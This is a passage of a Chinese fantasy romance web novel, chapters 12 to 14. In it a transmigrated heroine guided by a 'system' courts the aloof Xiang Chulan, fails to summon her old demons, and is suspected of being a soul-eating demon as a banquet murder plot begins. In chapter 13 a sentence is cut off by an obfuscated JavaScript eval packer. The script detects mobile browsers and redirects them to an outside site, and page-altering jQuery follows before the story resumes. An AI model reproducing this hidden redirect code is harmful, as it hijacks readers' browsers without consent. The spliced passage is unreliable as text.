沐纶笑着看了相楚澜一眼,相楚澜道:“她与林浚烨关系不睦,又没修习过玄术,不知道地二高功也正常。” 沐纶便向她解释起来:“地二高功是豢养妖兽的地方。神、妖两族对立,谁也不敢轻易涉足对方领地。所以,若是哪个神族想收妖兽当坐骑,自然不会以身犯险去妖族领域拿妖,这个时候他就可以去地二高功。当然,也不是谁都能进入地二高功,只有通过特定的考核,才能获得进入地二高功的资格。” 茯凌问:“进去后就可以随意挑选自己属意的妖兽当坐骑吗?” 沐纶:“只要你能打服它,让它心甘情愿给你当坐骑,不过这并非最后一步。” “最后一步是什么?” “最后一步当然是你得活着从地二高功出来。”沐纶道,“地二高功不比地一高功、地三高功,那是个相当危险的地方。说起来是大栎国下设机构,有重兵把守,但其实就是一片被围起来的原始森林,里面生活着很多奇珍异兽,彪炳凶悍。近百年来,进入地二高功后还能活着从里面走出来的,寥寥无几。” 茯凌“哦”地点点头:“那岂不是很少有人愿意进去?” 沐纶:“所以啊,我们虽是神族,但拥有妖骑的却少之又少。” 茯凌心想,他日若有机会,她也要去那儿瞧瞧,收个厉害的妖怪结成妖符。她又看向相楚澜,指着那只落在地上的大鹏金翎鸟道:“方才说要让我试一试,还算数么?” 相楚澜扬了扬脸:“自然。” 茯凌便赶紧从马背上一跃而下,她好久没骑着妖兽飞了,真挺怀念那种自由自在的感觉。谁知下马动作太快却引来沐纶一阵轻笑,打趣她道:“骑马学不会,这下马的功夫倒是无师自通。” 茯凌爽快一笑:“都有妖兽骑了,谁还学什么骑马啊?” 她走近那只大鹏金翎鸟,像是来到了一座小山下,鹏鸟高大,她仰起脖子也无法与它对视,更无法对它发号施令。这么干瞪眼是爬不上去的,施展功法又怕相楚澜和沐纶生疑,只好回头对相楚澜道:“我看这只大鹏并不服你。你都邀请我上去试试了,它作为你的坐骑竟然毫无表示,怎么说也应该要垂下脑袋、主动带我去它背上才是。” 相楚澜骑在马上垂眸看她:“你这么能说会道、伶牙俐齿,何不自己与它交涉,说服它带你驰骋九天?” 茯凌反唇相讥:“我看你的嘴也蛮厉害,在你面前,我实在无颜担一句能说会道、伶牙俐齿,不然岂不显得班门弄斧?” 沐纶无奈地笑道:“好了,你俩就各自少说一句吧,这会儿针尖对麦芒,倒忘了刚才相濡以沫的时候了。” 相楚澜不悦道:“我看教你遣词造句的先生也该被开除师籍,相濡以沫是这么用的?” 沐纶道:“反正我是不信你放心让她一个人去乘大鹏金翎鸟,这要是一不小心给摔死了,怎么跟她家里人交代?她虽跟她大哥哥关系不睦,但怎么说也是血脉相连,她大哥哥可即将拜入大玄殿、成为你的同门师弟。” 相楚澜无言以对,他本就没打算让茯凌孤身乘坐妖骑,只是见她牙尖嘴利,这才忍不住回了几句。可想想却又觉得自己有病,她一个小丫头片子,他与她计较什么?此刻见她笑意吟吟地站在大鹏金翎鸟旁边,在鹏鸟金色的羽毛下显得单薄娇小,竟莫名有几分讨喜。他收了收性子,脚尖向下轻轻一点,动作流畅地从马背上飞身跃起。 茯凌只觉身形一晃,下一秒相楚澜已经揽着她的腰将她带去了大鹏金翎鸟厚实宽大的背上,她脸上笑意这才达至眼底:“今日这趟没白来。” “坐好了。”相楚澜与她比肩而坐,确保她坐稳后便令大鹏金翎鸟振翅腾飞、直入云霄。 耳边掠过呼啸的风声,茯凌感受着风的凌厉与豁达,顿觉畅快无比,来这个世界后第一次感觉自己是真的活了过来。她忍不住张开双臂,迎接这浩瀚天际:“生命可贵,自由亦可贵!” 相楚澜闻言看向她,见她笑意舒展,竟比以往任何时候都要绚丽生动,忍不住问她道:“现在不自由?” 茯凌微微仰起脸来,闭上眼睛感受辽阔无际的风:“身心皆不自由。” 论身,她如今要靠林起月的身体过活,灵力损失惨重,行动因此受阻,困于方寸之间; 论心,她要按照系统的指示完成任务,杀与她无关的人,做与她无关的事,还得攻略林起月的意中人。 “不过我正在努力,早晚能做回我自己。”茯凌睁开眼睛,扭头与相楚澜对视,“你这只大鹏金翎鸟不错,飞起来很稳,挺听话的。” 相楚澜轻笑一声,见她仿佛并非第一次乘妖而飞,眼神里毫无惊慌和新奇打量,倒像是在妖兽背上长大的,道:“你在妖兽身上,倒比在马背上自在惬意。” “那当然。”为了重获自由,茯凌不介意昧著良心再当一回爱情骗子,她抓住一切机会撩拨相楚澜,道,“马不是你的马,妖却是你的妖。既然这大鹏金翎鸟是你的,那我便天生与它亲近。” 相楚澜迎视着她:“当真一点也不怕?” 茯凌眨巴着眼看他:“既一心要上贼船,自然要有上贼船的勇气和魄力。” 相楚澜挑眉:“是么?” 茯凌还欲招惹,谁知大鹏金翎鸟却忽而猛地侧身下冲,眼看就要把她甩落出去,她知道这是相楚澜在给她下马威,于是眼明手快一把拉住他胳膊,同时抬脚狠狠蹬向大鹏金翎鸟,身体后仰发力,化被动为主动,整个动作一气呵成,行云流水间就拽着相楚澜一齐往下坠去,笑着喊道:“死在一起也不错啊!” 相楚澜表情纹丝不动,就这么静静地看她发疯。凛冽风声中,大鹏金翎鸟迅速盘旋下飞、向急速坠落的二人追去,再轻巧地一个回绕,下一秒茯凌和相楚澜就重新回到了雕背上。 茯凌被摔倒在相楚澜怀里,苍茫天际中,她整个人无所顾忌地压在他身上,风声之外,似乎隐约能听到他的心跳,砰砰砰,似平稳,又似微微加了速。 “疯子。”头顶传来他倨傲的声音。 茯凌抬头,眼睛亮晶晶地看着他:“这不比骑马好玩多了?” 相楚澜闲适地躺在金翎羽背上,垂眸看了她一眼:“还不松手?” 茯凌于是松开抓在他胳膊上的手,她从他身上爬起来,乖乖坐去了一边:“这时候有酒助兴才更好。” 相楚澜也坐起来:“你会喝酒?” “这有什么不会?”茯凌道,“酒水酒水,左右不过比白水多了丝酒味。” 相楚澜:“听这语气,酒量不错?” 茯凌闻言看他,视线恰好撞入他幽黑的眸中,她发现他静静看人时敛去了几分纵意轻妄,竟生出一派温柔缱绻来,笑道:“改日有机会一起喝一杯,看谁先把谁撂倒。” 相楚澜没接话,茯凌便问他:“怎么,你不跟讨厌的人一起喝酒?” 相楚澜嗓音冷淡:“我何时说过讨厌你?” 茯凌心想,装,接着装。 她朝后躺去,双手枕在脑后:“哦,我以为你讨厌我来着。” 相楚澜问:“你既认为我讨厌你,为何又要跟来?” 茯凌笑着看他:“自然是为了让你不讨厌我。” 相楚澜一时无言,落在她脸上的目光似乎带上了一丝打量。茯凌坦然接受他的注视,片刻后她问他:“你在想什么?” 他倒是挺直接地回答她:“在想你为何要这样。” “怎样?” 相楚澜眸中一抹讥诮之色:“处处相怼,却又时时撩拨。” 茯凌眯眼笑:“当然是喜欢你。” 他轻声笑了起来:“你是当我愚笨?还是当我不通男女之情?” 茯凌挑了挑眉:“听起来好像有故事?” 相楚澜见她瞳孔清亮,坦荡地与他的视线交接在一起,愈发肯定了自己的判断:“没故事,是你表现得太明显。” 茯凌愣了下:“什么意思?” 相楚澜却看向了他处,似乎懒得再费口舌:“自己想。” 茯凌便自己想了一会儿,什么叫她表现得太明显?以前林起月偷窥他沐浴,变态一样收集与他有关的东西,将他的画像挂满闺房。现在她卖他画像赚钱,撩他三句怼他一句,所以让他怀疑她不喜欢他了? 茯凌皱皱眉,说:“并不是所有的喜欢都是狂热忘我的,以前我对你的那种喜欢太颠狂,收效甚微,现在我想改一改,含蓄一点,克制一点,但对你的喜欢只增不减。” 对她的这通鬼话,相楚澜未予理会,他看着天边云卷云舒,只留给茯凌一个背影。茯凌便静静地看着他,风扬起他的发尾,轻裘宝带的翩翩少年郎,在风姿缭绕里仪态飘逸,似仙似侠,煞是好看。茯凌看着看着就有些入迷,心想他若是个妖邪,她定要收他入符,哪天心情不好就把他放出来观赏观赏。 不知过了多久,茯凌突然想起小十一,她出来这么长时间,他还在家里饿着肚子。于是对相楚澜道:“我们回去吧,我有些累了。” 今天出师不利,-7的好感值降到了-9,看来她得好好总结一下,换个路数。 相楚澜听她声音似乎有些丧气,再见她脸上也挂上了失落的表情,有心开解她:“若你是为了在林府站稳脚跟,不必非跟我扯上男女之情。” 茯凌气道:“你这人怎么这么犟呢?我就不能是因为喜欢你么?” 相楚澜见她冥顽不灵,冷声冷气道:“你既喜欢自欺欺人,那便随你。” 茯凌不知道他是真看出来了她对他无意,还是存心诈她,又或者是以这 13. 第13章 灵力玉露 茯凌回到藏月阁,飞花没在院子里,小十一倒是规规矩矩贴着隐身符坐她房里看书,她提着酒和糕饼点心到他面前:“喏,给你买的,趁飞花不在赶紧吃。” 小十一抬起眼皮看了看那壶酒:“酒也是给我买的?” 茯凌把糕饼点心塞进他手里:“酒是我买来自己喝的,你要想喝,分你一口也不是不可以。” 她走去外屋的桌子那儿,拿起桌上倒扣着的茶杯,又撕下酒壶上的封纸,往茶杯里倒了些酒进去,见小十一拿着糕饼点心走了过来,她指着茶杯对他道:“这一杯是你的。” 小十一坐下了,把糕饼点心放到酒壶旁:“你今天不开心?” 茯凌在他对面坐下:“喝酒当然是因为开心。我不开心的时候才不喝酒,借酒消愁愁更愁。” 小十一神色淡淡:“你今天很开心?” 茯凌点头,却道:“本来挺开心的,后来又不那么开心了。” 小十一递给她一块点心:“为什么?” 茯凌接过点心咬了口:“开心是因为今天坐在妖怪背上飞了一圈。不开心是因为……你一个小屁孩儿,我跟你说这些干什么?” 小十一瞳孔漆黑地看着她:“我读的书多。” 茯凌看向他,见他眉眼精致稚嫩,看起来人畜无害。想起自己心中苦闷确实无人可诉,把小十一当闲话搭子倒也不差,便道:“也不是不开心,就是有些事情没有头绪。” 她喝了一口酒,纳闷道:“我感觉自己做得挺好的,他怎么就没反应呢?” 小十一问:“谁没反应?” 茯凌没理他,自顾自吐苦水:“没反应就罢了,还给我倒扣分。这么下去,我都不知道怎么才能让他爱上我。” 小十一悠悠道:“你看起来不像是会为情所困的。” “你懂什么?”茯凌喝了口酒,“只有让相楚澜爱上我,我才能真正活过来。” 小十一不冷不热道:“你喜欢相楚澜?” 茯凌支着下巴看他:“你读的书多,你说,怎样才能让相楚澜对我死心塌地?” 小十一摊了摊手:“我还是个孩子,不读这方面的书。” 茯凌想想也是:“确实,问一个小孩儿这种问题,我也挺变态的。” 小十一点头:“嗯。你知道就好。” “嘿!”茯凌一把捏住他脸,“我看你身上的伤也好得差不多了,是时候出去自谋生路,省得成天在这儿怼我。” 小十一没说话,黑瞳微沉。 茯凌松开手,撇嘴道:“天下无不散之筵席,你收拾收拾,这两天就走吧。”虽然有个人在身边陪她说话解闷也不错,但她还有一堆系统任务要做,没功夫管他。 小十一抿直嘴角,也不知道在想些什么,默了片刻后,他点头道:“好。” 这时候突然听到脚步声,茯凌知道是飞花回来了,她瞥了眼贴在小十一胸口的那张隐身符,提醒他道:“待会儿别出声啊,也别让隐身符掉下来。” 小十一“嗯”了声。 紧接着飞花就走了进来,她手里提着个食盒,笑着对茯凌道:“小姐回来了?奴婢刚从宋奶娘那儿过来,宋奶娘让奴婢给小姐带碗豆腐花尝尝,宋奶娘自己家做的。”她把豆腐花端出来放到茯凌面前,又替她摆好汤匙:“小姐尝尝。” 茯凌于是低头尝了口,发现那豆腐花入口即化,味道甚好,便忍不住称赞:“好吃诶!飞花你也坐,一起。” 飞花摆手摇头:“不了,奴婢在宋奶娘家吃过了。”说完发现桌上摆着个小巧精美的金色铃铛,目光一下就被吸引住,“小姐,这是什么?” 茯凌顺着飞花的视线看过去,见她似乎对金色铃铛很感兴趣,便拿起来递给她:“别人送的,说是红莲业火,你看看。” “好漂亮啊。”飞花小心翼翼地接过去,“红莲业火又是什么?” 茯凌边吃豆腐花边道:“就是一种放在铃铛里可以不灭的火。” “好神奇。”飞花脸上扬起笑,小十一安静地坐在她旁边,看她对铃铛十分好奇,一直拿在手里摆弄。 飞花看不见边上的小十一,此刻只顾着研究铃铛里那株似乎是悬浮着的火焰,突然她像是发现了一个类似暗扣的东西,没多想就伸手按了下,谁知铃铛竟瞬间被打开,里面炽红的火焰冷不丁窜出来,吓了飞花一大跳,她一惊就下意识松了手。这时茯凌正好抬起眼皮看过来,只见金色铃铛从飞花手中坠落,里面的红莲业火该死不死正好烧到小十一右手手背,他疼得小脸一皱,连忙往旁躲去,金色铃铛便又顺势滚落到地上。 飞花只当自己是不小心把主子的东西弄掉地上了,赶紧弯腰想去捡起来:“小姐对不起!奴婢不是有意的,奴婢只是被吓到了!” 茯凌哪有心思管地上那颗金色铃铛,她只看见小十一的右手手背被烧出一个血窟窿,皱起眉就要去查看他的伤势,小十一微微避开,指了指弯腰欲捡铃铛的飞花,示意茯凌别吓着她。 茯凌看飞花要去捡铃铛,怕她也像小十一那样被红莲业火伤到,忙制止道:“别捡!” 飞花抬头看她:“小姐……” 茯凌道:“你先下去,这东西容易伤人,放这儿就行。” 飞花有些迟疑:“可是小姐……” 茯凌笑了笑:“一个铃铛而已,掉地上就掉地上了。你先下去罢。” 飞花这才起身离开,茯凌没管铃铛,先看了眼小十一的伤势,见他细皮嫩肉的却被烫出这么个伤痕,莫名有些替他不值。她赶紧找出先前没用完的伤药给小十一涂上,道:“说被红莲业火烧过留下的疤好不了,你手上这个,估计要跟你一辈子了。” 小十一毫无波澜地“哦”了声,似乎并不在意。 茯凌又道:“刚才被那火烧到,你是怎么忍住不叫出声的?” 小十一平静地说:“是你让我别出声。” 茯凌愣了愣,随即笑道:“你还挺能忍,下意识的反应都能憋住。” 小十一没说话。 帮小十一处理完伤口,茯凌捡起地上的金色铃铛,见里面的火苗还在燃烧,心想这东西大概可以重复利用。她把金色铃铛重新扣好,递给小十一:“这个给你,你过两天走的时候带上,保命用。” 小十一没拿,说:“这东西既是别人送的,你该自己留着。” 茯凌无所谓地说道:“没事。这铃铛是相楚澜送给我保命用的,你拿着也一样。” 小十一缓缓道:“他想保的是你的命,又不是我的,怎么能一样?” 茯凌耸耸肩:“他想保的是弱者的命,你弱,你拿着。” 小十一眼梢微挑:“我弱?” “你难道不弱吗?连飞花都能把你拎起来打一顿,也就那个废物林昊晗能被你拿下首杀。”茯凌把金色铃铛塞到他手上。“你离开后,要是在外面再遇到林昊晗这样的贱人,你就拿红莲业火烧他。” 小十一脸上慢慢浮现出一抹笑意,是一种柔和的愉悦的笑:“嗯,我现在是挺弱。” 茯凌看着他,她曾见过他脸上这种笑。那时候她还小,刚刚学会画符,手里扬着刚画出来的火符跑到师父面前,大言不惭说要用手里的这张火符打败上古妖龙宗政向离,收他做她的妖骑,当时听了她的幼稚发言,师父和旁边的一众宗门长老就是看着她这么笑的。那是一种长辈面对童言无忌的小辈时的一种笑。 但她都已经一百多岁了,小十一还没活到她的十分之一。茯凌一掌拍向小十一的头顶:“小朋友要有小朋友的样子。你再装大人,我就饿你几顿,看你还有没有力气装大人玩。” 小十一疑惑道:“我做什么了?” 茯凌不讲理地说:“你让我不爽了。” 小十一:“……” 正说着话,茯凌脑海里突然传来系统提示音:「恭喜玩家,主线目标相楚澜对玩家好感度正在回升,目前好感度为:0」 茯凌闻言一头雾水,她刚做什么了吗?怎么好感度突然就回升了? 纳闷间,系统声音又响起:「作为奖励,玩家将获得灵力玉露,服用后灵力将大幅提升,请在滴声后领取奖励」 下一秒,茯凌脑海中又响起“滴”的一声,再然后系统就开始播报:「灵力玉露领取成功」 茯凌赶紧全身上下摸摸找找,小十一看她行为怪异,问道:“你怎么了?” 茯凌没理他,很快就在怀里摸出一个凭空多出来的小白瓶子,这里面装的大概就是系统说的灵力玉露了。她打开瓶塞,将灵力玉露一饮而尽,接着就去塌上打坐,果然感觉体内灵力增长不少,灵力流动也愈发顺畅,全身经脉似乎都通了一遍。 原来相楚澜对她好感度回升竟然还有奖励可领,不知道完成支线任务一后有没有奖励。虽然折腾一圈后,他对她的好感度是从起步阶段的0下落至-9再回到原位,但她得到了灵力玉露,这一趟就不算白忙活。 茯凌现在没心思思考相楚澜对她的好感度为什么会突然回升,因为她发现自己现在的灵力已经达到了召唤妖邪的门槛。也就是说,她再也不用动脑子完成支线任务一了,把她手底下的大妖召唤出来哐哐一顿杀就完事了。豆沙了!豆沙了!把林如进、杜若芬、戚媚娘、林浚烨、林羽汐一起豆沙了! 茯凌有些激动,她朝小十一勾了勾手指:“你过来。” 小十一乖乖朝她走去:“干什么?” 茯凌盘腿坐于榻上,牛叉哄哄道:“姑奶奶今天就让你开开眼!好好看着,什么叫霸气冲天!” 她一边说一边摆出召唤姿势,一手竖起两指立于胸前,另一手凌空画出一张妖符,同时心中默念金冠九尾鸟妖的名字,低呵一声:“出!” 只见空中气流纠缠挣动,一张金光灿烂的符咒应运而生,随着茯凌一声“出”,妖符瞬间抖如糠筛,带动周边气流都急速运转起来,只听“爆”的一声,妖符霎时碎成金色细尘流散消失,四周重归平静,什么事也没发生。 茯凌:“?” 她的坐骑金冠九尾鸟妖呢?哪儿去了? 小十一静静地看着茯凌,见她静静地看着前方的空气,他终于忍不住问道:“你到底要我看什么?”他只看到她霸气冲天地画符,然后气氛烘托半天,最后只画出一张空符。 茯凌没理小十一,她想了想,接着就试图召唤另一只妖怪,然后是第三只、第四只、第五只……试到最后,她把除了宗政向离以外的所有妖怪都召唤了一遍,竟一只都没召唤出来。难道是因为时空不同?她那个世界的妖怪,无法突破时空来到林起月生活的这个世界? 我淦! 她看了眼小十一,决定先给自己找个台阶下,气定神闲道:“看到没有?我画符的样子是不是很霸气很冲天?” 小十一用看二百五的眼神看了看茯凌,而后轻叹一气:“嗯,霸气,冲天。”说完他就回去继续吃糕饼点心了。 茯凌摸摸下巴,现在只剩宗政向离还没召唤过,他是上古妖龙,是妖怪的祖宗,也许可以突破时空的限制被她召唤出来。 要不……试试? 不行不行!这个念头刚冒出来就被茯凌掐断。她骗了宗政向离的感情,大婚当日将他收入妖符,令他困于符咒囹圄之间,不得自由。他对她肯定恨之入骨,而以她现在的灵力修为,绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12554604|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法全控他,他若是出来后找她报复怎么办? 算了算了,她还是乖乖修炼、伺机而动吧,切不能指望用宗政向离完成任务一,不然宗政向离杀完林如进、杜若芬、戚媚娘、林浚烨、林羽汐五人后,第六个很可能是她。 - 送茯凌回林府后,相楚澜就回了跑马场找沐纶。 大鹏金翎鸟振翅一飞,十万八千里也可飞得,因此沐纶并没等多长时间,只是见大鹏金翎鸟落下后背上只相楚澜一人,不禁问道:“林起月呢?你该不会随便飞了个地方把她扔下去了吧?” 相楚澜失笑:“我倒不至于那么恨她。” 他收回大鹏金翎鸟,冲沐纶扬了扬手里的酒:“喝一杯?” 沐纶笑着从马背上下来:“哪来的酒?” 相楚澜道:“林起月给的。” 两人走去跑马场旁边的看台,沐纶对身边的侍从道:“去,找两个酒杯来。”转头又对相楚澜道,“她还给你买酒喝了?” 相楚澜眉梢轻挑:“说是回礼。” 两人各自落座,侍从拿来两个酒杯,正要帮忙盛酒,相楚澜摆了摆手:“下去罢。” 那侍从便低着头退下了。相楚澜撕开封酒纸,给沐纶和自己各自满上,沐纶问:“回礼?你也给她送礼了?” 相楚澜喝了口酒:“给了她一个装红莲业火的小铃铛,防身用。” 沐纶笑道:“你这般为她着想,也不怪她痴爱你至此。” 相楚澜冷淡的声音里透着一点邪气:“谈不上着想,举手之劳罢了。” 沐纶笑容明了:“送她红莲业火,怕不仅仅只是举手之劳。红莲业火是你的内生武器,她身上带着红莲业火,你随时能追踪她具体的方位。阿澜,你在怀疑林起月?” 相楚澜没有否认:“她从北地回来后,与以往大不相同。” 沐纶道:“这我可就不认同了。一来,以前的林起月究竟什么样,你我都不清楚,她虽迷恋你,可说到底你跟她并无多少接触。二来,她一个不通玄术的女子,去北地遭一趟罪回来,性格脾气难免收敛些,与以往不同也在情理之中。三来,她即便与以往再有不同,可对你却是一如既往,她若是知道你送她红莲业火还有怀疑追踪之意,恐怕要伤心。” 相楚澜扬起一抹轻邪的冷笑:“第一,即便我不了解以前的林起月,却也能看得出来现在的她对我无意,可她偏偏又装出对我痴心不改的样子,动机值得怀疑。第二——“ “等等。”沐纶打断他的话,“你说林起月现在对你无意?我怎么瞧着她对你用情颇深?不会骑马还巴巴跟过来,想着法地要跟你扯上关系。” 相楚澜言简意赅:“眼神不对。” 沐纶好奇:“眼神?怎么说?” 相楚澜语气冷静:“以前的林起月,若我跟她同时出现,她视线便一直黏着我,怎么甩都甩不掉。可若不小心与她对视上,她反而会眼神闪躲,先看去他处,再小心翼翼回视过来。虽作出偷窥我沐浴的出格行为,但从来只敢躲在暗处。在旁人面前敢说诨话,可一到我面前,却什么话都说不出。” 沐纶思忖片刻,道:“而她现在虽然没再对你作出什么孟浪狂热的行为,却敢大大方方站在明处,光明正大地黏着你,甚至当着你的面言语撩拨,揶揄直怼也不在话下。” 相楚澜接着道:“现在的林起月,目光总是能轻易从我身上挪开,看我的眼神也坦荡从容,丝毫没有女子爱慕男子时的那种粘腻娇羞,与我对视也是不躲不闪、不羞不忸,甚至可以称得上是老僧入定,毫无波澜。” 沐纶点了点头,喃喃道:“这女子的心意可真让人捉摸不透,怎地嘴上说爱你,眼里却没有你……”接着他又轻轻摇了摇头,喝了杯酒,看向相楚澜问道:“对了,你刚才说第一,那第二又是什么?” 相楚澜于是继续说道:“第二,我听说林府近来出了两桩命案,一个嬷嬷,一个林如进嫡子,两人死前都曾与林起月有过争执,未免过于巧合。第三,天机府传来消息,京都最近有噬魂楼妖邪作祟。你也知道,噬魂楼的妖与其他妖不同,它们能吃掉人的灵魂,再进入被吃掉灵魂的人的身体里,伪装成神族和人族,轻易不会被发现。若是如今的林起月是噬魂楼妖邪所扮,又或者与弑神刀伞无仇有牵扯……只要有这样的可能性存在,我们就不得不防。” 沐纶沉声念道:“弑神刀伞无仇,噬魂楼楼主。他的领地确实与北地相近。” 相楚澜道:“我曾派人去北地打探,并没发现林起月和噬魂楼有什么瓜葛,但林起月回来后确实……力气变得很大,据说是在北地偶逢奇遇,具体情况不得而知。” 沐纶仔细想了想,转而又道:“但我总归觉得这样的猜忌,无异于带上成见看人,会不会影响我们对林起月的判断?她若并非噬魂楼妖邪所扮,对她是不是有些不公平?” 相楚澜道:“防人之心不可无。她若没有异常,红莲业火可以保她在林府免受欺凌。她若真是妖邪,我们也能通过红莲业火追踪到她的方位,防患未然。” 他低头看了看杯中酒,想起茯凌让给他一壶酒时的表情,又道:“我确实也有做的不对的地方。正如你所说,带着成见看林起月,难免会影响对她的判断。我今天同她说过,会试着不讨厌她。” 相楚澜朝沐纶举起手中酒杯,唇边笑意带上一份快意恩仇:“君子重诺,我绝不食言。” 说完,他旷达不羁地将杯中酒一饮而尽。 沐纶也回了一杯,豁达地与他相视而笑:“对!多想想她的好,她有时确实可爱率真,又是个受过苦的。她若不是妖邪,那对她宽容些也无妨。” 14. 第14章 血宴礼1 两日后,茯凌送走了小十一。 又两日,林浚烨正式入选大玄殿,这对林府来说无疑是喜事一桩,而随着林如进大张旗鼓要为林浚烨筹备宴客礼,茯凌也通过听音符纸鹤发现了有趣的事——戚媚娘、林羽汐各怀鬼胎,都打算趁着这次宴客礼谋算些什么。 戚媚娘摆出温柔淑良的姿态,恳求林如进将杜若芬从庐州接回,用的说辞是“入选大玄殿这样的喜事,杜若芬作为林浚烨嫡母,理应在场”。 但她并非出于好心,而是收买了死士要在宴客礼上假意刺杀林浚烨,刺杀失败后再让死士当着一众宾客、尤其是沐纶和相楚澜的面,供出自己是被杜若芬收买,以此逼迫林如进休了杜若芬。这样一来,她就有机会被扶正。 戚媚娘的原话是:“她杜若芬可以伪造证据,冤枉我烨哥儿勾结妖族,我便也可以捏造人证,诬陷她买凶杀人,这叫以其人之道还治其人之身。” 而林羽汐那边也计划着要谋杀林浚烨。当然,与戚媚娘演苦肉计不同,林羽汐是真要除掉林浚烨。 林羽汐与她的戏子情郎鹧衣商定,要在宴客礼上给所有人下蒙汗药,为免遭人怀疑,林羽汐自己也会喝下被下了蒙汗药的酒水。等在场所有人都被药倒,再由鹧衣神不知鬼不觉地杀死林浚烨,最后再嫁祸给林起月,这样就可以一箭双雕。 而后继无人的林如进,必定要从林氏旁支过继一个男孩儿过来,这过继过来的孩子,自然不会放在戚媚娘名下,肯定是由她母亲杜若芬抚养,如此她与杜若芬在府中的地位就能长久稳固下去。 茯凌从听音符纸鹤那儿听着戚媚娘和林羽汐的盘算,只觉得好笑。那两个自作聪明的傻子,一个没跟林浚烨通气,一个没和杜若芬商量,都以为稳操胜券,殊不知她们的计划漏洞百出,宴客礼上到场的都是朝中官员,不乏修为高深者,难道会被一个死士刺客蒙骗?会被区区蒙汗药放倒?不过茯凌倒乐得看好戏,戚媚娘和林羽汐狗咬狗,她能从中渔翁得利也未可知。 茯凌耐心等待时机,很快就到了宴客礼当天,她穿上了京都最好的缝工为她量身定制的衣裳,明媚的鹅黄色,上面用略深一些的锦线绣着层层叠叠的吉祥云纹,外面覆一层薄纱,走起路来衣袖仙袂飘飘、裙尾摇曳生姿。这是林如进花重金为她打造的,用处无需明说,自然是用来勾引相楚澜的。 她盛装打扮从藏月阁来到林府前厅,一路上引得男女宾客、丫鬟奴仆连连回眸。这段日子府中都在传二小姐不知何故赢得林如进另眼相看,地位竟比嫡女林羽汐还要高出一些,众人今日一见,只道传言果然不假,这林起月的衣着打扮,比起林羽汐确实有过之而无不及。 茯凌来到前厅,见林如进、林浚烨正站那儿跟沐纶、相楚澜谈笑风生,她走过去乖巧温顺地请了个安,林如进见她过来,笑着对沐纶、相楚澜道:“既然殿下和世子找小女有事,我与浚烨就不叨扰了,殿下、世子请便。” 沐纶、相楚澜对林如进、林浚烨微微颔首,林如进便带着林浚烨先行离开,走之前还给茯凌递了个赞许的眼神。茯凌见林如进、林浚烨去到院子里和那些赏景聊天的官员说话,便转头对沐纶、相楚澜微微一笑:“你们找我有事?” 沐纶笑道:“没什么特别的,只是那日去跑马场,你先回了府,还没来得及问你骑妖兽飞行的感觉如何。” 茯凌偷偷打量了相楚澜一眼,见他轻邪骄横冷眼冷脸,一副跟她不熟的模样,腹诽这人真是阴晴不定。回沐纶道:“还行吧。毕竟不是自己的坐骑,飞起来还是差点意思。” 这时相楚澜阴阳怪气道:“难道你有过自己的妖骑不成?” 茯凌故作不满地撇嘴:“你这人真是,明知道我修炼不了玄术,还拿这话揶揄我。” 相楚澜挑起一边眉:“可我见你骑妖飞行的样子,倒像是坐惯妖骑的。” 茯凌见他表情倨傲,一时分辨不出他这话究竟是什么意思,心中不免生疑,他对她的好感度真的回升到0了?怎么感觉好像更讨厌她了?茯凌忍住不满,笑眯眯道:“大概是有你在旁边,所以觉得心安。” 相楚澜唇边勾起一抹讥讽:“既然如此,那今日便好好跟着我,可别乱跑。” 茯凌:“?” 这人什么毛病?要她跟着他?他这是在……反调戏她? 可语气实在不像。 茯凌狐疑地看着相楚澜:“你要我今天一直跟着你?” 相楚澜睥睨道:“怎么?不方便?” 茯凌一头雾水:“你这唱的是哪一出?” 相楚澜针锋相对:“这话应该我问你。” 茯凌:“……” 这男的今天没吃药就跑出来溜街了? 沐纶忙打圆场:“好了好了,你们怎么一见面就拌嘴?” 茯凌现在挺想一棍子敲死相楚澜:“这得问世子殿下,为何一开口就夹枪带棒,上赶着来和我吵架。” 相楚澜嗤道:“林二小姐心里比谁都清楚。” 茯凌正要和他辩驳辩驳,这时飞花却慌慌张张跑了过来,说是杜若芬找她有急事,要她赶紧过去。沐纶闻言便道:“既然有事,那就赶快过去吧,不用管我们。” 茯凌只好压住火气,瞪了相楚澜一眼后就辞别他俩,往杜若芬那儿去了。 她走后,沐纶叹了口气,对相楚澜道:“你也是。刚才表现得是不是太明显了?” 相楚澜没说话,眼神里挑着一份微愠。 沐纶又道:“我明白你的心情,刚放下对她的成见,就追踪到她带着红莲业火去了妖域,觉得自己被骗了,被她当傻子一样耍着玩儿,所以忍不住生闷气。” 相楚澜嘲道:“红莲业火一到妖域就熄灭,可见她和她的妖族同党已经发现我在利用红莲业火追踪她,可她刚才却镇定自若,一副什么事都没发生的样子,可见城府之深。” 沐纶道:“今日林府宴客,来的都是达官显贵,希望她不要选在今日作乱才好。” 相楚澜嗓音发冷:“我在林府安排了人手乔装隐匿,她敢作乱,就地诛杀。” 那边茯凌在后院见到了杜若芬,杜若芬自前日被林如进派人从庐州老家接回后,就一直在院中深居简出,不知今日喊她过来所为何事。茯凌被丫鬟引入偏房,见杜若芬跪坐在蒲团上正烧香拜佛,她站在旁边唤了一声“母亲”,杜若芬没理她,对着前面的佛像叩了几首才起身朝她走来,语气异常和蔼:“月儿,跟母亲过来。” 这倒稀罕,杜若芬转性要当慈母了? 茯凌跟在她身后往里屋走去,不知她葫芦里到底卖的什么药。进到里屋,杜若芬拉着茯凌到妆台前坐下,茯凌正纳闷,就见她从妆奁里拿出了一只金簪,柔和地说道:“这支发簪是我的陪嫁嫁妆,今日我便把它送给你。” 事出反常必有妖,茯凌瞬间警惕起来,就在她怀疑杜若芬是不是打算用这根发簪戳死她的时候,杜若芬手一抬,把金簪插在了茯凌的发髻里,茯凌努力挤出一个笑容:“多谢母亲。” 杜若芬语重心长道:“月儿,你是女子,将来总归是要嫁人的。若你可以觅得佳婿、嫁入高门,无论是对你父亲,还是对我,亦或是对羽汐,都百利而无一害。你可明白母亲的意思?” 